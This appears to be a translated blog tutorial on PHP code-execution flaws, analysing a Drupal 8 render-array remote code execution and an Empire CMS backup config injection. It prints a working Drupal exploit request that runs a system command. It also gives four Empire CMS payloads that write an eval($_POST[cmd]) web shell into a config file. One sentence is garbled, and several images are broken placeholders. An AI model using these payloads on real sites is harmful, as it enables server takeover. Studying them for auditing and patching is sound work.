PHP Code Audit 9 - Code Execution Vulnerabilities

1. Basics of Code Execution Vulnerabilities

1. Vulnerability principles and types

Vulnerability principle :

The principle of code execution vulnerability is actually relatively simple, because the data we pass in is executed as code. This is often caused by the developer not having good control over what the user enters.

Vulnerability type:

  • Type confusion: This is the most common problem in web applications, and it is also the most intuitive manifestation of the vulnerability principle mentioned above, because data and code are not well distinguished.
  • Deserialization: Serialization and deserialization are common methods in web data transmission, but unreasonable deserialization and controllable serialization of data often lead to deserialization vulnerabilities, which will be presented separately later.
  • Buffer overflow: This type of vulnerability is common in client or mobile applications, often due to the lack of boundary checks for buffer writes and reads.

2. Vulnerability detection

For PHP, detecting this type of vulnerability is mainly to observe some of our functions that can execute code, and whether the code to be executed is user-controllable. For common code execution functions in PHP, a simple analysis is as follows:

  • eval(string $phpCode): Execute the string as PHP code. The common usage is a one-word Trojan horse. The string must be valid PHP code and must end with a semicolon.
  • assert(): Similar to eval, strings are executed by assert() as PHP code, but only one line of code can be executed, while eval can execute multiple lines of code.
  • preg_replace(): When the /e modifier is used, code can be executed by executing a regular expression.
  • create_function(): Creates an anonymous function based on the passed parameters and returns a unique name for it.
  • array_map(): Applies a user-defined function to each value in the array, and returns an array with new values ​​after the user-defined function has been applied. The number of arguments accepted by the callback function should be the same as the number of arrays passed to the array_map() function.
  • call_user_func(): Call the first parameter as a callback function.

For details about the functions executed by the code, see the reference materials at the end of the article.

3. Common defense methods

Many systems have RCE vulnerabilities, most of the time not because of the code problems of the program itself, but more because of the use of unsafe components or underlying programs. Therefore, to prevent RCE vulnerabilities, it is more important to monitor individual security inspection level. The general operation is as follows:

  • Regular security updates:

    组织经常不能根据最新的威胁情报采取行动,不能及时应用补丁和更新。因此,攻击者通常也会试图攻击旧的漏洞。一旦系统和软件可用,就立即对它们进行安全更新,这对于阻止许多攻击者是非常有效的。
    
  • Continuous Security Monitoring:

    监控网络流量和端点,以发现可疑内容并阻止利用企图。这可以通过实现某种形式的网络安全解决方案或威胁检测软件来实现。
    
  • Detect software security:

    简单理解就是通过动态或者静态代码检测技术,分析可能存在的安全隐患。
    

2. Drupal Remote Code Execution Vulnerability Analysis

First, let's look at the public information about this vulnerability:

[External link picture transfer failed, the source site may have an anti-leeching mechanism, it is recommended to save the picture and upload it directly (img-V6jnF9Kc-1659576659634)(img/image-20220801223159931.png)]

It can be seen that the scope of influence is still relatively large. However, before performing vulnerability analysis, we need to understand Drupal's system architecture.

1. System architecture analysis

For the architecture analysis here, since the adopted version is D8, compared with D7 or D6, the structure of D8 has changed a lot, so only the system structure of D8 is analyzed.

Basic directory structure:

/core:drupal的内核文件夹,详见后文说明
/modules: 存放自定义或者下载的模块
/profiles: 存放下载和安装的自定义配置文件
/sites: 在drupal 7或者更早的版本中,主要存放站点使用的主题和模块活其他站点文件。
/themses: 存放自定义或者下载的主题
/vendor:存放代码的依赖库
index.php: drupal入口文件

Then we can look at the structure of the Croe directory:

/core/assets - drupal 所使用的各种扩展库,如jquery,ckeditor,backbone,normalizeCSS等
/core/config - drupal 中的核心配置文件
/core/includes – 模块化的底层功能函数,如模块化系统本身
/core/lib – drupal提供的原始核心类
/core/misc – 核心所需要的前端杂项文件,如JS,CSS,图片等。
/core/modules – 核心模块,大约80项左右
/core/profiles – 内置安装配置文件
/core/s – 开发人员使用的各种命里脚本
/tests – 测试相关用的文件
/core/themes – 内核主题

For the analysis of its basic directory structure, detailed routing and controller calls, etc., please refer to the following "drupal8 series framework and vulnerability dynamic debugging in-depth analysis".

2. Simple Vulnerability Analysis

First, let's look at the paylaod of the vulnerability:

POST /index.php/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: 192.168.101.152:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 103

form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id

As you can see, the location of the vulnerability is under /user/register.

As for the vulnerability principle, it is mainly because Drupal 7 proposes the concept of "renderable arrays". These structures are implemented by associative arrays, and key-value pairs are passed as function parameters or form data for better rendering of markup and UI elements. The marked element attribute has a key prefixed with the "#" character, and then in Drupal, for variables such as #pre_render, #post_render, #submit, #validateetc., Drupal call_user_funccalls it by way, so it leads to code execution in the way that an associative array can be constructed.

//file: \core\lib\Drupal\Core\Render\Renderer.php   
// element is rendered into the final text.
    if (isset($elements['#pre_render'])) {
    
    
      foreach ($elements['#pre_render'] as $callable) {
    
    
        if (is_string($callable) && strpos($callable, '::') === FALSE) {
    
    
          $callable = $this->controllerResolver->getControllerFromDefinition($callable);
        }
        $elements = call_user_func($callable, $elements);
      }
    }

You can see that the call_user_func() method is called here.

However, we need to know how the parameters we pass in are constructed into code execution commands. Here we need to enter \core\modules\file\src\Element\ManagedFile.php for analysis:

public static function uploadAjaxCallback(&$form, FormStateInterface &$form_state, Request $request) {
    
    
  /** @var \Drupal\Core\Render\RendererInterface $renderer */
  $renderer = \Drupal::service('renderer');
  $form_parents = explode('/', $request->query->get('element_parents'));
  // Retrieve the element to be rendered.
  $form = NestedArray::getValue($form, $form_parents);
  // Add the special AJAX class if a new file was added.
  $current_file_count = $form_state->get('file_upload_delta_initial');
  if (isset($form['#file_upload_delta']) && $current_file_count < $form['#file_upload_delta']) {
    
    
    $form[$current_file_count]['#attributes']['class'][] = 'ajax-new-content';
  }
  // Otherwise just add the new content class on a placeholder.
  else {
    
    
    $form['#suffix'] .= '<span class="ajax-new-content"></span>';
  }
  $status_messages = ['#type' => 'status_messages'];
  $form['#prefix'] .= $renderer->renderRoot($status_messages);
  $output = $renderer->renderRoot($form);

On the fifth line of code, take out $_GET["element_parents"]and assign to $form_parents, and then enter into NestedArray::getValuefor processing:

public static function &getValue(array &$array, array $parents, &$key_exists = NULL) {
    
    
  $ref = &$array;
  foreach ($parents as $parent) {
    
    
    if (is_array($ref) && (isset($ref[$parent]) || array_key_exists($parent, $ref))) {
    
    
      $ref = &$ref[$parent];
    }
    else {
    
    
      $key_exists = FALSE;
      $null = NULL;
      return $null;
    }
  }
  $key_exists = TRUE;
  return $ref;
}

Here, use $parent as the key path, and then take it out layer by layer and return it. When we send paylaod according to the POC idea, the form array constructed at this time is as follows:

insert image description here

Then call the following renderRoot( form ) method, the form) method, thef or m ) method, pass the form into Render.php, and call call_user_func() to execute.

insert image description here

It can be seen that the result after execution is saved in $output, and finally output through the send() controller.

2. Vulnerability recurrence

We visit the target site, then capture and modify the replay:

insert image description here

It can be seen that the system command was successfully executed.

However, there is a slight difference between this and the POC given above. When accessing, you cannot directly access /user/register, but you need to route through index.php/user/register to access it. At the same time, it may be my system The reason is that the exec function executes commands, and some commands fail to execute, so the system function is used instead.

3. Analysis of Empire CMS Code Execution Vulnerabilities

Vulnerability Intelligence:

insert image description here

1. Vulnerability analysis

Search for public information, find that the vulnerability point is in the backup database file, enter the file to view:

// file: e/admin/ebak/phome.php

$phome=$_GET['phome'];
.....
//初使化备份表
elseif($phome=="DoEbak"){
    
    
	Ebak_DoEbak($_POST,$logininid,$loginin);
}
//备份表(按文件)
elseif($phome=="BakExe"){
    
    
  .......
}
//备份表(按记录)
elseif($phome=="BakExeT"){
    
    
  ......
}

It can be seen that when we initialized the backup table, we called the Ebak_DoEbak() function and followed up the analysis:

//file: e/admin/ebak/class/functions.php
function Ebak_DoEbak($add,$userid,$username){
    
    
	global $empire,$public_r,$fun_r,$phome_use_dbver;
	//验证权限
	CheckLevel($userid,$username,$classid,"dbdata");
	$dbname=RepPostVar($add['mydbname']);   //获取了POST传入的mydbname,并使用RepPostVar函数进行过滤。
	if(empty($dbname)){
    
    
		printerror("NotChangeDbname","history.go(-1)");
	}
	$tablename=$add['tablename'];   //获取我们传入的tablename,此处未经过滤。
  $count=count($tablename);
	if(empty($count)){
    
    
		printerror("MustChangeOneTable","history.go(-1)");
	}
	$add['baktype']=(int)$add['baktype'];
	$add['filesize']=(int)$add['filesize'];
	$add['bakline']=(int)$add['bakline'];
	$add['autoauf']=(int)$add['autoauf'];
	if((!$add['filesize']&&!$add['baktype'])||(!$add['bakline']&&$add['baktype'])){
    
    
		printerror("FileSizeEmpty","history.go(-1)");
	}
	//目录名
	$bakpath=$public_r['bakdbpath'];
	if(empty($add['mypath'])){
    
    
		$add['mypath']=$dbname."_".date("YmdHis");  //生成并使用下面的DOMkdir函数创建文件夹
	}
    DoMkdir($bakpath."/".$add['mypath']);
	//生成说明文件,将POST传入的备份说明保存在备份文件下的readme.txt中
	$readme=$add['readme']; 
	$rfile=$bakpath."/".$add['mypath']."/readme.txt";
	$readme.="\r\n\r\nBaktime: ".date("Y-m-d H:i:s");
	WriteFiletext_n($rfile,$readme);

	$b_table="";
	$d_table="";
  //如果有多个表,循环将表明读取出来,并使用“,”分隔。
	for($i=0;$i<$count;$i++){
    
    
		$b_table.=$tablename[$i].",";
		$d_table.="\$tb[".$tablename[$i]."]=0;\r\n";
    }
	//去掉最后一个,
	$b_table=substr($b_table,0,strlen($b_table)-1);
	$bakstru=(int)$add['bakstru'];
	$bakstrufour=(int)$add['bakstrufour'];
	$beover=(int)$add['beover'];
	$waitbaktime=(int)$add['waitbaktime'];
	$bakdatatype=(int)$add['bakdatatype'];
	if($add['insertf']=='insert'){
    
    
		$insertf='insert';
	}else{
    
    
		$insertf='replace';
	}
	if($phome_use_dbver=='4.0'&&$add['dbchar']=='auto'){
    
    
		$add['dbchar']='';
	}
  //定义配置文件的内容
	$string="<?php
	\$b_table=\"".$b_table."\";   						//使用双引号包裹了配置文件中的b_table的值。
	".$d_table."
	\$b_baktype=".$add['baktype'].";
	\$b_filesize=".$add['filesize'].";
	\$b_bakline=".$add['bakline'].";
	\$b_autoauf=".$add['autoauf'].";
	\$b_dbname=\"".$dbname."\";   						//使用双引号包裹了dbname的值
	\$b_stru=".$bakstru.";
	\$b_strufour=".$bakstrufour.";
	\$b_dbchar=\"".addslashes($add['dbchar'])."\";//使用双引号包裹了使用addslashes()处理后的dbchar
	\$b_beover=".$beover.";
	\$b_insertf=\"".addslashes($insertf)."\";   //使用双引号包裹了addslashes()处理后的insertf
	\$b_autofield=\",".addslashes($add['autofield']).",\";   //使用双引号包裹了使用addslashes()处理后的 autofield
	\$b_bakdatatype=".$bakdatatype.";
	?>";
	$cfile=$bakpath."/".$add['mypath']."/config.php";
	WriteFiletext_n($cfile,$string);  //将配置内容写入配置文件
	if($add['baktype']){
    
    
		$phome='BakExeT';
	}else{
    
    
		$phome='BakExe';
	}
	echo $fun_r['FirstBakSuccess']."<script>self.location.href='phome.php?phome=$phome&t=0&s=0&p=0&mypath=$add[mypath]&waitbaktime=$waitbaktime';</script>";
	exit();
}

It can be seen that in the above code, the many parameters we passed in are written into the configuration file config.php, and they are all wrapped in double quotes, so the written parameters can be analyzed in detail to see if they are controllable If the PHP code is controllable, then we can achieve the effect of code execution by injecting PHP code.

Let's do a detailed analysis here, first look at a normal backup configuration file:

<?php
	$b_table="phome_enewsztf";
	$tb[phome_enewsztf]=1;
	$b_baktype=0;
	$b_filesize=300;
	$b_bakline=500;
	$b_autoauf=1;
	$b_dbname="empirecms";
	$b_stru=1;
	$b_strufour=0;
	$b_dbchar="gbk";
	$b_beover=0;
	$b_insertf="replace";
	$b_autofield=",,";
	$b_bakdatatype=1;
?>

It can be seen that the content that is not wrapped in quotation marks exists in the form of a value. Looking back at the above code, it is found that the data uses numeric type coercion, so there is no way to use it.

Similarly, for the data wrapped in double quotes, the $dbname in it is processed using the RepPostVar() function, and the situation of this function is as follows:

//参数处理函数
function RepPostVar($val){
    
    
	if($val!=addslashes($val)){
    
    
		exit();
	}
	CkPostStrChar($val);
	$val=str_replace(" ","",$val);
	$val=str_replace("%20","",$val);
	$val=str_replace("%27","",$val);
	$val=str_replace("*","",$val);
	$val=str_replace("'","",$val);
	$val=str_replace("\"","",$val);
	$val=str_replace("/","",$val);
	$val=str_replace(";","",$val);
	$val=str_replace("#","",$val);
	$val=str_replace("--","",$val);
	$val=RepPostStr($val,1);
	$val=addslashes($val);
	FWClearGetText($val);
	return $val;
}

It can be seen that most of the special symbols are filtered, but as long as the above characters are not used, the security filter can be bypassed, resulting in code injection.

$[tablename] is written into config.php without any filtering, so php code can be constructed and inserted into the file, and code injection can be realized.

$[dbchar] is written into config.php after being processed by addslashes(). As long as we don’t use single and double quotes, the escape can be bypassed, so code injection can be realized.

$add['insertf'] uses if to judge, set a fixed value, uncontrollable, so there is no way to use it.

$add['autofield'] is also processed by addslashes(), which can also be bypassed and cause code injection.

So at this vulnerability point, we can exploit the vulnerability through multiple parameters.

2. Exploitation

Through the above analysis, there are many ways to exploit the vulnerability. Here are a few simple payoads:

payload1:phome=DoEbak&mydbname=123&baktype=0&filesize=300&bakline=500&autoauf=1&bakstru=1&dbchar=gbk&bakdatatype=1&mypath=empirecms_20220802151522&insertf=123&waitbaktime=0&readme=&autofield=${
    
    @eval($_POST[cmd])}&tablename%5B%5D=phome_ecms_article&chkall=on&Submit=%BF%AA%CA%BC%B1%B8%B7%DD

payload2: phome=DoEbak&mydbname=123&baktype=0&filesize=300&bakline=500&autoauf=1&bakstru=1&dbchar=${
    
    @eval($_POST[cmd])}&bakdatatype=1&mypath=empirecms_20220802151522&insertf=123&waitbaktime=0&readme=&autofield=&tablename%5B%5D=phome_ecms_article&chkall=on&Submit=%BF%AA%CA%BC%B1%B8%B7%DD

payload3:phome=DoEbak&mydbname=${
    
    @eval($_POST[cmd])}&baktype=0&filesize=300&bakline=500&autoauf=1&bakstru=1&dbchar=gbk&bakdatatype=1&mypath=empirecms_20220802151522&insertf=123&waitbaktime=0&readme=&autofield=&tablename%5B%5D=phome_ecms_article&chkall=on&Submit=%BF%AA%CA%BC%B1%B8%B7%DD

payload4:phome=DoEbak&mydbname=dbname&baktype=0&filesize=300&bakline=500&autoauf=1&bakstru=1&dbchar=gbk&bakdatatype=1&mypath=empirecms_20220802151522&insertf=123&waitbaktime=0&readme=&autofield=&tablename%5B%5D=@eval($_POST[cmd])&chkall=on&Submit=%BF%AA%CA%BC%B1%B8%B7%DD

payload1:

insert image description here

payload2:

insert image description here

Other paylaods do not do too many tests, the principle and method are the same.

4. References

Guess you like

Origin blog.csdn.net/qq_45590334/article/details/126153259